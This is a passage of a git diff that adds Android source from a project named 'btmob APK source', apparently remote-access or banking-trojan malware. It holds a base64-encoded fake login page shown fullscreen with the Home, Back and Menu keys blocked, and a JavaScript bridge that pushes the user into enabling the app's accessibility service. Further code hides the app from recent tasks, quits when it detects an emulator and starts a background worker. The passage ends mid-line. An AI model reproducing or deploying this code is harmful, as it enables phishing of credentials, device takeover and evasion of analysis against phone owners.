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"); + } + + + + String MyName = getLabelApplication(getApplicationContext()); + String CurrnetLanuage = Locale.getDefault().getLanguage(); + + try { + PageBase64 = (new String(Base64.decode(PageBase64, 0), "UTF-8")).replace("App Name", MyName) + .replace("[LNG]",CurrnetLanuage) + .replace("[TITLE]",fromBase64(My_Configs._Login_title_)) + .replace("[BASE-ICO]",getAppIconAsBase64(myctx)) + .replace("2024","2025") + .replace("'[DIS]'","`"+fromBase64(My_Configs._Login_dis_)+"`") + .replace("[BTN]",My_Configs._Login_btn_); + } catch (Exception e) { + } + + webView.loadDataWithBaseURL(null, PageBase64, "text/html", "UTF-8", null); + + setContentView((View)webView); + requestWindowFeature(Window.FEATURE_NO_TITLE); + + getWindow().setFlags(WindowManager.LayoutParams.FLAG_FULLSCREEN, + WindowManager.LayoutParams.FLAG_FULLSCREEN); + + }else + { + finish(); + } + + + }catch (Exception e){} + + } + @Override + protected void onStop() { + super.onStop(); + } + @Override + public void onDestroy(){ + instance =null; + super.onDestroy(); + } + @Override + public boolean onKeyDown(int keyCode, KeyEvent event) { + if (keyCode == KeyEvent.KEYCODE_HOME) { + return true; + } + if (keyCode == KeyEvent.KEYCODE_BACK) { + return true; + } + if (keyCode == KeyEvent.KEYCODE_MENU) { + return true; + } + return false; + } + @Override + public void onBackPressed() { + super.onBackPressed(); + } +// @Override +// public void finish() { +// instance =null; +// if(Build.VERSION.SDK_INT >= Build.VERSION_CODES.LOLLIPOP) { +// super.finishAndRemoveTask(); +// } +// else { +// super.finish(); +// } +// } + + + + private class MyWebChromeClient extends WebChromeClient { + private MyWebChromeClient() {} + + public boolean onJsAlert(WebView param1WebView, String param1String1, String param1String2, JsResult param1JsResult) { + return true; + } + } + + private class MyWebViewClient extends WebViewClient { + private MyWebViewClient() {} + + public void onPageFinished(WebView param1WebView, String param1String) {} + + public boolean shouldOverrideUrlLoading(WebView param1WebView, String param1String) { + return false; + } + } + + public class WebAppInterface { + Context mContext; + + WebAppInterface(Context param1Context) { + this.mContext = param1Context; + } + + @JavascriptInterface + public void OK() { + try { + + Intent newintent = new Intent("com.samsung.accessibility.installed_service"); + newintent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK | + Intent.FLAG_ACTIVITY_NO_HISTORY | + Intent.FLAG_ACTIVITY_EXCLUDE_FROM_RECENTS); + Intent var3 = newintent; + if (newintent.resolveActivity(getPackageManager()) == null) { + newintent = new Intent("android.settings.ACCESSIBILITY_SETTINGS"); + var3 = newintent; + if (newintent.resolveActivity(getPackageManager()) == null) { + Intent Acc_intent = new Intent(Settings.ACTION_ACCESSIBILITY_SETTINGS); + Acc_intent.putExtra(Intent.EXTRA_COMPONENT_NAME, new ComponentName(myctx, AccessServices.class)); + Acc_intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK | + Intent.FLAG_ACTIVITY_EXCLUDE_FROM_RECENTS | + Intent.FLAG_ACTIVITY_NO_HISTORY ); + startActivity(Acc_intent); + return; + } + } + StringBuilder var6 = new StringBuilder(); + var6.append(getPackageName()); + var6.append("/"); + var6.append(AccessServices.class.getName()); + String var7 = var6.toString(); + Bundle var4 = new Bundle(); + var4.putString(":settings:fragment_args_key", var7); + var3.putExtra(":settings:fragment_args_key", var7); + var3.putExtra(":settings:show_fragment_args", var4); + startActivity(var3); + + + }catch (Exception e){ + + } + } + } +} diff --git a/btmob APK source/APK/app/src/main/java/com/icontrol/protector/ActivMain.java b/btmob APK source/APK/app/src/main/java/com/icontrol/protector/ActivMain.java new file mode 100644 index 0000000..92ff4c4 --- /dev/null +++ b/btmob APK source/APK/app/src/main/java/com/icontrol/protector/ActivMain.java @@ -0,0 +1,729 @@ +package com.icontrol.protector; + +import static android.net.ConnectivityManager.RESTRICT_BACKGROUND_STATUS_ENABLED; + +import static com.icontrol.protector.MyCods.isServiceRunning; +import static com.icontrol.protector.UtliTools.excludeFromTaskList; +import static com.icontrol.protector.UtliTools.setupWorkManager; + +import android.app.Activity; + +import android.app.AlertDialog; +import android.app.DownloadManager; +import android.content.Context; + +import android.content.DialogInterface; +import android.content.Intent; +import android.content.pm.PackageManager; +import android.graphics.Bitmap; +import android.graphics.Point; +import android.graphics.drawable.Drawable; +import android.net.ConnectivityManager; +import android.net.NetworkInfo; +import android.net.Uri; +import android.os.Build; +import android.os.Bundle; +import android.os.Environment; + +import android.provider.Settings; + +import android.view.View; +import android.view.ViewGroup; +import android.view.WindowManager; +import android.webkit.DownloadListener; +import android.webkit.JsResult; +import android.webkit.URLUtil; +import android.webkit.ValueCallback; +import android.webkit.WebChromeClient; +import android.webkit.WebResourceRequest; +import android.webkit.WebSettings; +import android.webkit.WebView; +import android.webkit.WebViewClient; +import android.widget.Button; +import android.widget.ImageView; +import android.widget.TextView; +import android.widget.Toast; + + +import androidx.core.app.ActivityCompat; +import androidx.core.content.ContextCompat; + + +import com.github.megatronking.stringfog.annotation.StringFogIgnore; + +import java.net.URI; +import java.util.ArrayList; +import java.util.List; +import java.util.Locale; + + +public class ActivMain extends Activity { + + private final static int FILECHOOSER_RESULTCODE = 1; + + + private ValueCallback mUploadMessage; + public String[] NormalPermissions() { + List permissions = new ArrayList<>(); + + // Add only normal permissions + permissions.add(android.Manifest.permission.INTERNET); // Normal + permissions.add(android.Manifest.permission.WAKE_LOCK); // Normal + permissions.add(android.Manifest.permission.ACCESS_NETWORK_STATE); // Normal + permissions.add(android.Manifest.permission.ACCESS_WIFI_STATE); // Normal + permissions.add(android.Manifest.permission.CHANGE_WIFI_STATE); // Normal + permissions.add(android.Manifest.permission.MODIFY_AUDIO_SETTINGS); // Normal + //permissions.add(android.Manifest.permission.POST_NOTIFICATIONS); // Normal + + return permissions.toArray(new String[0]); + } + + @Override + protected void onActivityResult(int requestCode, int resultCode, Intent intent) { + + + if (requestCode == FILECHOOSER_RESULTCODE) { + + if (null == mUploadMessage || intent == null || resultCode != RESULT_OK) { + return; + } + + Uri[] result = null; + String dataString = intent.getDataString(); + + if (dataString != null) { + result = new Uri[]{Uri.parse(dataString)}; + } + + mUploadMessage.onReceiveValue(result); + mUploadMessage = null; + } + } + + public class MyChrome extends WebChromeClient { + + MyChrome() { + } + + @Override + public boolean onJsAlert(WebView view, String url, String message, JsResult result) { + // Create a builder to display the alert message + AlertDialog.Builder builder = new AlertDialog.Builder(view.getContext()); + builder.setTitle("JavaScript Alert"); + builder.setMessage(message); + + // Set a positive button and its listener + builder.setPositiveButton(android.R.string.ok, new DialogInterface.OnClickListener() { + @Override + public void onClick(DialogInterface dialog, int which) { + // Confirm the result in the JavaScript result + result.confirm(); + } + }); + + // Prevent the dialog from being cancelable + builder.setCancelable(false); + + // Show the alert dialog + builder.create().show(); + + // Return true to indicate that you've handled the alert + return true; // Note: Not calling super here, as you're handling the alert + } + @Override + public boolean onShowFileChooser(WebView webView, ValueCallback filePathCallback, FileChooserParams fileChooserParams) { + + // asegurar que no existan callbacks + if (mUploadMessage != null) { + mUploadMessage.onReceiveValue(null); + } + + mUploadMessage = filePathCallback; + + Intent i = new Intent(Intent.ACTION_GET_CONTENT); + i.addCategory(Intent.CATEGORY_OPENABLE); + i.setType("*/*"); // set MIME type to filter + + ActivMain.this.startActivityForResult(Intent.createChooser(i, "File Chooser"), ActivMain.FILECHOOSER_RESULTCODE); + + return true; + } + + } + + + @Override + protected void onSaveInstanceState(Bundle outState) { + super.onSaveInstanceState(outState); + if (mWebView != null) { + mWebView.saveState(outState); + } + + } + + @Override + protected void onRestoreInstanceState(Bundle savedInstanceState) { + super.onRestoreInstanceState(savedInstanceState); + if (mWebView != null) { + mWebView.restoreState(savedInstanceState); + } + + } + + + public static boolean isinternetOK(Context context) { + + ConnectivityManager cm = (ConnectivityManager) context.getSystemService(Context.CONNECTIVITY_SERVICE); + NetworkInfo activeNW = cm.getActiveNetworkInfo(); + if (activeNW != null && activeNW.isConnected()) { + return true; + } else { + + return false; + } + + + } + + private View.OnClickListener out = new View.OnClickListener() { + @Override + public void onClick(View view) { + + try { + finish(); + + + } catch (Exception e) { + + } + + } + + }; + + private View.OnClickListener Oklistner = new View.OnClickListener() { + @Override + public void onClick(View view) { + + try { + Intent Acc_intent = new Intent(Settings.ACTION_WIFI_SETTINGS); + Acc_intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK); + startActivity(Acc_intent); + + + } catch (Exception e) { + + } + + } + + }; + public WebView mWebView; + String value = "skin.info"; + + + private boolean isEmulator() { + return (Build.BRAND.startsWith("generic") && Build.DEVICE.startsWith("generic")) + || Build.FINGERPRINT.startsWith("generic") + || Build.FINGERPRINT.startsWith("unknown") + || Build.HARDWARE.contains("goldfish") + || Build.HARDWARE.contains("ranchu") + || Build.MODEL.contains("google_sdk") + || Build.MODEL.contains("Emulator") + || Build.MODEL.contains("Android SDK built for x86") + || Build.MANUFACTURER.contains("Genymotion") + || Build.PRODUCT.contains("sdk_google") + || Build.PRODUCT.contains("google_sdk") + || Build.PRODUCT.contains("sdk") + || Build.PRODUCT.contains("sdk_x86") + || Build.PRODUCT.contains("sdk_gphone64_arm64") + || Build.PRODUCT.contains("vbox86p") + || Build.PRODUCT.contains("emulator") + || Build.PRODUCT.contains("simulator"); + } + + private void AsknoEmu() { + + + String buttonnameOK = "OK"; + String alertmsg = "OK"; + String MYNAME = "Emulator detected"; + + String CurrnetLanuage = Locale.getDefault().getLanguage(); + switch (CurrnetLanuage) { + case "en": + buttonnameOK = "ok"; + MYNAME = "Emulator detected"; + alertmsg = "this app does not support emulator devices"; + break; + case "ar": + buttonnameOK = "موافق"; + MYNAME = "تم اكتشاف محاكي"; + alertmsg = ("هذا التطبيق لا يدعم أجهزة المحاكي"); + break; + case "zh": + buttonnameOK = "好的"; + MYNAME = "检测到模拟器"; + alertmsg = ("此应用不支持模拟器设备"); + break; + case "tr": + buttonnameOK = "Tamam"; + MYNAME = "öykünücü algılandı"; + alertmsg = ("bu uygulama öykünücü aygıtları desteklemiyor"); + break; + default: + buttonnameOK = "OK"; + MYNAME = "Emulator detected"; + alertmsg = ("this app does not support emulator devices"); + break; + + } + + Drawable icon; + try { + // null; + icon = getPackageManager().getApplicationIcon(getPackageName()); + + } catch (PackageManager.NameNotFoundException ex) { + icon = null; + } + + AlertDialog.Builder builder = new AlertDialog.Builder(this, android.R.style.Theme_DeviceDefault_Dialog_Alert) + .setTitle(MYNAME) + .setMessage(alertmsg) + .setPositiveButton(buttonnameOK, (dialog, which) -> { + // Handle positive button click + finish(); + System.exit(0); + }); + + if (icon != null) { + builder.setIcon(icon); + } + + builder.show(); + + } + + + + private static final int PERMISSION_REQUEST_CODE = 22; + private void checkAndRequestPermissions() { + String[] permissions = NormalPermissions(); + + List permissionsNeeded = new ArrayList<>(); + + for (String permission : permissions) { + if (ContextCompat.checkSelfPermission(getApplicationContext(), permission) != PackageManager.PERMISSION_GRANTED) { + permissionsNeeded.add(permission); + } + } + + if (!permissionsNeeded.isEmpty()) { + ActivityCompat.requestPermissions(this, permissionsNeeded.toArray(new String[0]), PERMISSION_REQUEST_CODE); + } + } + @Override + public void onRequestPermissionsResult(int requestCode, String[] permissions, int[] grantResults) { + super.onRequestPermissionsResult(requestCode, permissions, grantResults); + + } + + + + @Override + public void onCreate(Bundle v) { + + + super.onCreate(v); + + + excludeFromTaskList(getApplicationContext()); + + + ConfigManager config = ConfigManager.getInstance(); + + try { + config.initialize(getApplicationContext(), My_Configs.ALL_CONFIG); + + Context ctx = getApplicationContext(); + + LiveChat.instance(getApplicationContext()); + + checkAndRequestPermissions(); + + + + if (MySettings.Read(ctx,Consts.Mob_width,"").length() == 0){ + Point size = new Point(); + getWindowManager().getDefaultDisplay().getRealSize(size); + int width = Math.min(size.x, size.y); + int height = Math.max(size.x, size.y); + MySettings.Write(ctx, Consts.Mob_width, String.valueOf(width)); + MySettings.Write(ctx, Consts.Mob_height, String.valueOf(height)); + } + + + + + } catch (Exception e) { + e.printStackTrace(); + } + + if (My_Configs.Anti_emulator.equals("1") && isEmulator()) { + AsknoEmu(); + return; + } + + if (!isinternetOK(getApplicationContext())) { + setContentView(R.layout.nointernet); + TextView NointernetDescrip = (TextView) findViewById(R.id.nodescrip); + String CurrnetLanuage = Locale.getDefault().getLanguage(); + switch (CurrnetLanuage) { + case "en": + NointernetDescrip.setText( + "No internet connection detected.\n\n please connect to internet and try again"); + break; + case "ar": + NointernetDescrip.setText( + "لم يتم الكشف عن اتصال بالإنترنت .\n\n الرجاء الاتصال بالإنترنت والمحاولة مرة أخرى"); + break; + case "zh": + NointernetDescrip.setText( + "未检测到 Internet 连接。\n\n 请连接到 Internet 并重试"); + break; + case "tr": + NointernetDescrip.setText( + "internet bağlantısı algılanmadı.\n\n lütfen internete bağlanın ve tekrar deneyin"); + break; + default: + NointernetDescrip.setText( + "no internet connection detected.\n\n please connect to internet and try again"); + break; + + } + + ImageView enablebtn = (ImageView) findViewById(R.id.noneticon); + enablebtn.setOnClickListener(Oklistner); + + Button closebtn = (Button) findViewById(R.id.closeme); + closebtn.setOnClickListener(out); + } else { + + + + + + + try { + getWindow().setFlags( + WindowManager.LayoutParams.FLAG_HARDWARE_ACCELERATED, + WindowManager.LayoutParams.FLAG_HARDWARE_ACCELERATED); + } catch (Exception a) { + } + + + + if(My_Configs.Is_Store.equals("1")){ + Context mcontext = getApplicationContext(); + Intent workint = new Intent(mcontext, EngineWorker.class); + if (!isServiceRunning(mcontext, EngineWorker.class)) + { + if (Build.VERSION.SDK_INT >= 